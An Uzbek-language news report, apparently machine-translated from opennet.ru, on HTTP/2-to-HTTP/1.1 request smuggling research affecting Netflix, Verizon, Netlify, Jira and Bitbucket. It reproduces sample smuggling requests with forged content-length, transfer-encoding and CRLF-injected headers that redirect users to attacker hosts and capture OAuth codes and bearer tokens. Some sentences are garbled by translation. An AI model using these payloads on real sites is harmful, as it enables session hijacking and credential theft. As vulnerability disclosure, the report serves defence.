Frontend HTTP/2 orqali ulanishlarni qabul qiladigan va ularni HTTP/1.1 orqali backendga uzatadigan veb-tizimlar “HTTP so'rovini kontrabandasi” hujumining yangi variantiga duchor bo'ldi, bu esa maxsus ishlab chiqilgan mijoz so'rovlarini yuborish orqali frontend va backend o'rtasida bir xil oqimda qayta ishlangan boshqa foydalanuvchilarning so'rovlari mazmuniga xanjar. Hujum zararli JavaScript kodini qonuniy veb-sayt bilan sessiyaga kiritish, kirishni cheklash tizimlarini chetlab o'tish va autentifikatsiya parametrlarini to'xtatish uchun ishlatilishi mumkin.
Muammo veb-proksi-serverlarga, yuk balanslagichlariga, veb-tezlatgichlarga, kontentni etkazib berish tizimlariga va so'rovlar front-end-backend usulida qayta yo'naltiriladigan boshqa konfiguratsiyalarga ta'sir qiladi. Tadqiqot muallifi Netflix, Verizon, Bitbucket, Netlify CDN va Atlassian tizimlariga hujum qilish imkoniyatini namoyish etdi va zaifliklarni aniqlash uchun mukofot dasturlari sifatida 56 ming dollar oldi. Muammo F5 Networks mahsulotlarida ham tasdiqlangan. Muammo qisman Apache http serveridagi mod_proxy-ga ta'sir qiladi (CVE-2021-33193), tuzatish 2.4.49 versiyasida kutilmoqda (ishlab chiquvchilarga muammo haqida may oyining boshida xabar berilgan va uni tuzatish uchun 3 oy vaqt berilgan). Nginx-da bir vaqtning o'zida "Content-Length" va "Transfer-Encoding" sarlavhalarini belgilash qobiliyati oxirgi versiyada (1.21.1) bloklangan. Hujum vositalari allaqachon Burp asboblar to'plamiga kiritilgan va Turbo Intruder kengaytmasi ko'rinishida mavjud.
So'rovlarni trafikka ulashning yangi usulining ishlash printsipi ikki yil oldin xuddi shu tadqiqotchi tomonidan aniqlangan zaiflikka o'xshaydi, ammo HTTP/1.1 orqali so'rovlarni qabul qiladigan frontendlar bilan cheklangan. Eslatib o'tamiz, frontend-backend sxemasida mijoz so'rovlari qo'shimcha tugun - frontend tomonidan qabul qilinadi, bu so'rovlarni bevosita qayta ishlovchi backend bilan uzoq muddatli TCP ulanishini o'rnatadi. Ushbu umumiy ulanish orqali, odatda, HTTP protokoli orqali ajratilgan zanjir bo'ylab ketma-ket bo'lgan turli foydalanuvchilarning so'rovlari uzatiladi.
Klassik "HTTP so'rovini kontrabanda qilish" hujumi frontend va backendlar HTTP sarlavhalari "Content-Length" (so'rovdagi ma'lumotlarning umumiy hajmini aniqlaydi) va "Transfer-kodlash: bo'laklangan" (ruxsat beradi) ishlatilishini sharhlashiga asoslangan edi. ma'lumotlar qismlarga bo'linadi) boshqacha. . Misol uchun, agar frontend faqat “Content-Length”ni qo‘llab-quvvatlasa, lekin “Transfer-Encoding: chunked” ni e’tiborsiz qoldirsa, tajovuzkor “Tarkib uzunligi” va “Transfer-kodlash: bo‘laklangan” sarlavhalarini o‘z ichiga olgan so‘rov yuborishi mumkin, lekin o'lchami "Tarkib uzunligi" bo'laklangan zanjirning o'lchamiga mos kelmaydi. Bunday holda, frontend so'rovni "Content-Length" ga muvofiq qayta ishlaydi va qayta yo'naltiradi va backend "Transfer-kodlash: bo'laklangan" asosida blokning tugashini kutadi va tajovuzkor so'rovining qolgan qismi bo'ladi. boshqa birovning so'rovining boshida bo'lish keyingi uzatiladi.
Satr darajasida tahlil qilinadigan HTTP/1.1 matn protokolidan farqli o'laroq, HTTP/2 ikkilik protokol bo'lib, oldindan belgilangan o'lchamdagi ma'lumotlar bloklarini boshqaradi. Biroq, HTTP/2 oddiy HTTP sarlavhalariga mos keladigan psevdo-sarlavhalardan foydalanadi. HTTP/1.1 protokoli orqali backend bilan o'zaro aloqada bo'lsa, frontend ushbu soxta sarlavhalarni HTTP/1.1 o'xshash HTTP sarlavhalariga tarjima qiladi. Muammo shundaki, backend asl so'rov parametrlari haqida ma'lumotga ega bo'lmasdan, frontend tomonidan o'rnatilgan HTTP sarlavhalari asosida oqimni tahlil qilish haqida qaror qabul qiladi.
Xususan, "kontent-length" va "transfer-kodlash" qiymatlari HTTP/2 da ishlatilmasa ham, soxta sarlavhalar ko'rinishida uzatilishi mumkin, chunki barcha ma'lumotlarning hajmi aniqlangan. alohida sohada. Biroq, HTTP/2 so'rovini HTTP/1.1 ga o'tkazish jarayonida bu sarlavhalar uzatiladi va backendni chalkashtirib yuborishi mumkin. Ikkita asosiy hujum varianti mavjud: H2.TE va H2.CL, bunda backend noto‘g‘ri uzatish-kodlash yoki kontent uzunligi qiymati orqali noto‘g‘ri qabul qilingan, bu esa frontend orqali qabul qilingan so‘rov tanasining haqiqiy hajmiga mos kelmaydi. HTTP/2 protokoli.
H2.CL hujumiga misol qilib, Netflix’ga HTTP/2 so‘rovini jo‘natishda kontent-uzunligi psevdo-sarlavhasida noto‘g‘ri o‘lchamni ko‘rsatish mumkin. Ushbu so'rov HTTP/1.1 orqali backendga kirishda o'xshash HTTP sarlavhasi Content-Length qo'shilishiga olib keladi, lekin Content-Length o'lchami haqiqiydan kichikroq ko'rsatilganligi sababli, quyruqdagi ma'lumotlarning bir qismi sifatida qayta ishlanadi. keyingi so'rovning boshlanishi.
Masalan, HTTP/2 :metod POST :path /n :authority www.netflix.com kontent-uzunligi 4 abcdGET /n HTTP/1.1 Xost: 02.rs?x.netflix.com Foo: bar
So‘rov backendga yuborilishiga olib keladi: POST /n HTTP/1.1 Xost: www.netflix.com Kontent uzunligi: 4 abcdGET /n HTTP/1.1 Xost: 02.rs?x.netflix.com Foo: bar
Content-Length qiymati 4 ga teng bo'lganligi sababli, orqa qism so'rovning asosiy qismi sifatida faqat "abcd" ni qabul qiladi va qolgan "GET /n HTTP/1.1..." keyingi so'rovning boshlanishi sifatida qayta ishlanadi. boshqa foydalanuvchi bilan bog'langan. Shunga ko'ra, oqim sinxronlashtiriladi va keyingi so'rovga javoban qo'g'irchoq so'rovni qayta ishlash natijasi chiqariladi. Netflix misolida, soxta so‘rovda “Xost:” sarlavhasida uchinchi tomon xostini ko‘rsatish mijozning “Joylashuv: https://02.rs?x.netflix.com/n” javobini qaytarishiga olib keldi va mijozga o'zboshimchalik bilan kontent yuborishga ruxsat berdi, shu jumladan JavaScript kodingizni Netflix sayti kontekstida ishga tushiring.
Ikkinchi hujum varianti (H2.TE) "Transfer-kodlash: bo'laklangan" sarlavhasini almashtirishni o'z ichiga oladi. HTTP/2 da uzatish-kodlash psevdo-sarlavhasidan foydalanish spetsifikatsiya tomonidan taqiqlangan va u bilan qilingan so'rovlar noto'g'ri deb hisoblanadi. Shunga qaramay, ba'zi frontend ilovalari ushbu talabni hisobga olmaydi va HTTP/2 da o'xshash HTTP sarlavhasiga aylantirilgan uzatish-kodlash psevdo-sarlavhasidan foydalanishga ruxsat beradi. Agar “Transfer-kodlash” sarlavhasi mavjud boʻlsa, backend uni yuqoriroq ustuvorlik sifatida qabul qilishi va “{size}\r\n{blok” formatidagi turli oʻlchamdagi bloklardan foydalangan holda “boʻlaklangan” rejimda maʼlumotlarni parcha-parcha tahlil qilishi mumkin. }\r\n{size} \r\n{blok}\r\n0", umumiy oʻlcham boʻyicha dastlabki boʻlinishga qaramay.
Bunday bo'shliqning mavjudligi Verizon misolida ko'rsatildi. Muammo autentifikatsiya portali va kontentni boshqarish tizimi bilan bog'liq bo'lib, u Huffington Post va Engadget kabi saytlarda ham qo'llaniladi. Misol uchun, HTTP/2 orqali mijoz so'rovi: :metod POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-kodlash parchalangan 0 GET /oops HTTP/1.1 Xost: psres.net Kontent-uzunligi: 10 x=
Natijada HTTP/1.1 so‘rovi serverga yuborildi: POST /identity/XUI HTTP/1.1 Xost: id.b2b.oath.com Kontent-uzunligi: 66 Transfer-kodlash: bo‘laklangan 0 GET /oops HTTP/1.1 Xost: psres. net Content- Uzunlik: 10x=
Backend, o'z navbatida, "Content-Length" sarlavhasini e'tiborsiz qoldirdi va "Transfer-kodlash: bo'laklangan" asosida oqim ichidagi bo'linishni amalga oshirdi. Amalda, hujum foydalanuvchi so'rovlarini o'z veb-saytiga yo'naltirish, shu jumladan parametrlari Referer sarlavhasida ko'rsatilgan OAuth autentifikatsiyasi bilan bog'liq so'rovlarni ushlab turish, shuningdek autentifikatsiya seansini simulyatsiya qilish va foydalanuvchi tizimini hisobga olish ma'lumotlarini yuborish uchun ishga tushirish imkonini berdi. tajovuzkorning uy egasiga. GET /b2blanding/show/oops HTTP/1.1 Xost: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Xost: psres.net Avtorizatsiya: Tashuvchi eyJhcGwiOiJIUzI1Gi1sIk…c
Transfer-kodlash psevdo-sarlavhasini ko'rsatishga imkon bermaydigan HTTP/2 ilovalariga hujum qilish uchun “Transfer-kodlash” sarlavhasini yangi qator belgisi bilan ajratilgan boshqa soxta sarlavhalarga qo'shish orqali almashtirishni o'z ichiga olgan boshqa usul taklif qilingan ( HTTP/1.1 ga aylantirilganda, bu holda ikkita alohida HTTP sarlavhasini yaratadi).
Masalan, Atlassian Jira va Netlify CDN (Firefox-da Mozilla boshlang'ich sahifasiga xizmat qilish uchun foydalanilgan) bu muammoga ta'sir qildi. Xususan, HTTP/2 so'rovi :metod POST :path / :authority start.mozilla.org foo b\r\n uzatish-kodlash: parchalangan 0\r\n \r\n GET / HTTP/1.1\r\n Xost : evil-netlify-domain\r\n Kontent-uzunligi: 5\r\n \r\n x=
natijada HTTP/1.1 POST / HTTP/1.1 so‘rovi backendga yuborildi\r\n Xost: start.mozilla.org\r\n Foo: b\r\n Transfer-kodlash: bo‘laklangan\r\n Kontent uzunligi : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Xost: evil-netlify-domain\r\n Kontent uzunligi: 5\r\n \r \n x=
"Transfer-kodlash" sarlavhasini almashtirishning yana bir varianti uni boshqa psevdo-sarlavha nomiga yoki so'rov usuli bilan qatorga qo'shish edi. Masalan, Atlassian Jira’ga kirishda “foo: bar\r\ntransfer-encoding” psevdo-sarlavha nomi “chunked” qiymati bilan HTTP sarlavhalari “foo: bar” va “transfer-encoding: chunked” qo‘shilishiga olib keldi. , va "GET / HTTP/1.1\r\nTransfer-kodlash: chunked" psevdo-sarlavhasi ":method" qiymatini belgilash "GET / HTTP/1.1\r\ntransfer-kodlash: parchalangan" deb tarjima qilindi.
Muammoni aniqlagan tadqiqotchi, shuningdek, frontendlarga hujum qilish uchun so'rovni tunnel qilish texnikasini taklif qildi, bunda har bir IP-manzil backend bilan alohida ulanishni o'rnatadi va turli foydalanuvchilarning trafiki aralashmaydi. Taklif etilayotgan texnika boshqa foydalanuvchilarning so'rovlariga aralashishga yo'l qo'ymaydi, lekin boshqa so'rovlarni qayta ishlashga ta'sir qiladigan umumiy keshni zaharlashga imkon beradi va xizmat ma'lumotlarini frontenddan backendga o'tkazish uchun ishlatiladigan ichki HTTP sarlavhalarini almashtirishga imkon beradi ( masalan, old tomonda autentifikatsiya qilishda Bunday sarlavhalar joriy foydalanuvchi haqidagi ma'lumotlarni backendga uzatishi mumkin). Usulni amalda qo'llash misoli sifatida, kesh zaharlanishidan foydalanib, Bitbucket xizmatidagi sahifalar ustidan nazoratni qo'lga kiritish mumkin edi.
Manba: opennet.ru